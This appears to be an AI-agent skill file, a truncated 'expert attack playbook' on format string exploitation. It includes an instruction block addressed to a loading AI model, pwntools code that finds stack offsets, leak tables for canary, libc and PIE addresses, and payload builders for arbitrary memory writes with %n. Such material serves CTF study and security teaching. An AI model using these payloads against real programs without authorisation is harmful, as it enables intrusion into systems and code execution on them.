$npx -y skills add Prohao42/aimy-skill --skill format-string-exploitationFormat string exploitation playbook. Use when printf-family functions receive user-controlled format strings, enabling arbitrary stack reads (%p/%s), arbitrary memory writes (%n/%hn/%hhn), GOT/hook overwrites, and canary/libc/PIE leaks.
| 1 | # SKILL: Format String Exploitation — Expert Attack Playbook |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: Expert format string techniques. Covers stack reading, arbitrary write via %n, GOT overwrite, __malloc_hook overwrite, pointer chain exploitation, blind format string, FORTIFY_SOURCE bypass, 64-bit null byte handling, and pwntools automation. Distilled from ctf-wiki fmtstr, CTF patterns, and real-world scenarios. Base models often miscalculate positional parameter offsets or forget 64-bit address placement after format string. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | - [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — combine format string leak with stack overflow for full exploit |
| 8 | - [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — format string is the primary canary/PIE/ASLR leak method |
| 9 | - [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) — convert format string write primitive to code execution targets |
| 10 | - [heap-exploitation](../heap-exploitation/SKILL.md) — heap address leak via format string for heap exploitation |
| 11 | |
| 12 | --- |
| 13 | |
| 14 | ## 1. VULNERABILITY IDENTIFICATION |
| 15 | |
| 16 | ### Vulnerable Pattern |
| 17 | |
| 18 | ```c |
| 19 | printf(user_input); // VULNERABLE: user controls format string |
| 20 | fprintf(fp, user_input); // VULNERABLE |
| 21 | sprintf(buf, user_input); // VULNERABLE |
| 22 | snprintf(buf, sz, user_input); // VULNERABLE |
| 23 | |
| 24 | printf("%s", user_input); // SAFE: format string is fixed |
| 25 | ``` |
| 26 | |
| 27 | ### Quick Test |
| 28 | |
| 29 | ``` |
| 30 | Input: AAAA%p%p%p%p%p%p%p%p |
| 31 | If output shows stack values (hex addresses): format string confirmed |
| 32 | Look for 0x4141414141414141 in output to find your input offset |
| 33 | ``` |
| 34 | |
| 35 | --- |
| 36 | |
| 37 | ## 2. READING MEMORY |
| 38 | |
| 39 | ### Stack Leak (%p) |
| 40 | |
| 41 | | Format | Action | Use | |
| 42 | |---|---|---| |
| 43 | | `%p` | Print next stack value as pointer | Sequential stack dump | |
| 44 | | `%N$p` | Print N-th parameter as pointer | Direct positional access | |
| 45 | | `%N$lx` | Same as %p but explicit hex (64-bit) | Portable | |
| 46 | | `%N$s` | Dereference N-th parameter as string pointer | Read memory at pointer value | |
| 47 | |
| 48 | ### Finding Your Input Offset |
| 49 | |
| 50 | ```python |
| 51 | # Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p |
| 52 | # Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141... |
| 53 | # ↑ offset = 6 (example) |
| 54 | # Or automated: |
| 55 | for i in range(1, 30): |
| 56 | io.sendline(f'AAAA%{i}$p') |
| 57 | if '0x41414141' in io.recvline(): |
| 58 | print(f'Offset = {i}') |
| 59 | break |
| 60 | ``` |
| 61 | |
| 62 | ### Leaking Specific Values |
| 63 | |
| 64 | | Target | Method | Stack Position | |
| 65 | |---|---|---| |
| 66 | | Canary | `%N$p` where N = canary offset from format string | Typically at offset buf_size/8 + few | |
| 67 | | Saved RBP | `%N$p` (just above return address) | Leaks stack address → stack base | |
| 68 | | Return address | `%N$p` | Leaks .text address (PIE base = leak & ~0xfff - offset) | |
| 69 | | Libc address | `%N$p` where N points to `__libc_start_main+XX` return on stack | libc base = leak - offset | |
| 70 | |
| 71 | ### Reading Arbitrary Address (%s) |
| 72 | |
| 73 | ``` |
| 74 | # 32-bit: place address at start of format string |
| 75 | payload = p32(target_addr) + b'%N$s' # N = offset where target_addr appears on stack |
| 76 | |
| 77 | # 64-bit: address contains null bytes → place AFTER format specifiers |
| 78 | payload = b'%8$sAAAA' + p64(target_addr) # %8$s reads from offset 8 where address is |
| 79 | ``` |
| 80 | |
| 81 | --- |
| 82 | |
| 83 | ## 3. WRITING MEMORY (%n) |
| 84 | |
| 85 | ### Write Specifiers |
| 86 | |
| 87 | | Specifier | Bytes Written | Width | |
| 88 | |---|---|---| |
| 89 | | `%n` | 4 bytes (int) | Characters printed so far | |
| 90 | | `%hn` | 2 bytes (short) | Characters printed so far (mod 0x10000) | |
| 91 | | `%hhn` | 1 byte (char) | Characters printed so far (mod 0x100) | |
| 92 | | `%ln` | 8 bytes (long) | Characters printed so far | |
| 93 | |
| 94 | ### Arbitrary Write Technique |
| 95 | |
| 96 | **Goal**: Write value `V` to address `A`. |
| 97 | |
| 98 | **32-bit** (address on stack directly): |
| 99 | ```python |
| 100 | # Write 2 bytes at a time using %hn |
| 101 | # Place target addresses in format string (they'll be on stack) |
| 102 | payload = p32(target_addr) # for low 2 bytes |
| 103 | payload += p32(target_addr + 2) # for high 2 bytes |
| 104 | # Calculate padding for each %hn write |
| 105 | low = value & 0xffff |
| 106 | high = (value >> 16) & 0xffff |
| 107 | payload += f'%{low - 8}c%{offset}$hn'.encode() |
| 108 | payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode() |
| 109 | ``` |
| 110 | |
| 111 | **64-bit** (address AFTER format string): |
| 112 | ```python |
| 113 | # Addresses contain null bytes (0x00007fXXXXXXXX) which terminate string |
| 114 | # Solution: place addresses AFTER the format specifiers |
| 115 | |
| 116 | # Step 1: format string portion (no null bytes) |
| 117 | fmt = b'%Xc%N$hn%Yc%M$hn' |
| 118 | # Step 2: pad to 8-byte alignment |
| 119 | fmt = fmt.ljust(align, b'A') |
| 120 | # Step 3: append target addresses |
| 121 | fmt += p64(target_addr) |
| 122 | fmt += p64(target_addr + 2) |
| 123 | ``` |
| 124 | |
| 125 | ### Byte-by-Byte Write with %hhn |
| 126 | |
| 127 | Write one byte at a time for precision (6 writes for full 48-bit address on 64-bit): |
| 128 | |
| 129 | ```python |
| 130 | writes = {} |
| 131 | for i in range(6): |
| 132 | byte_val = (value >> (i * 8)) & 0xff |
| 133 | writes[target_addr + i] = byte_val |
| 134 | |
| 135 | # |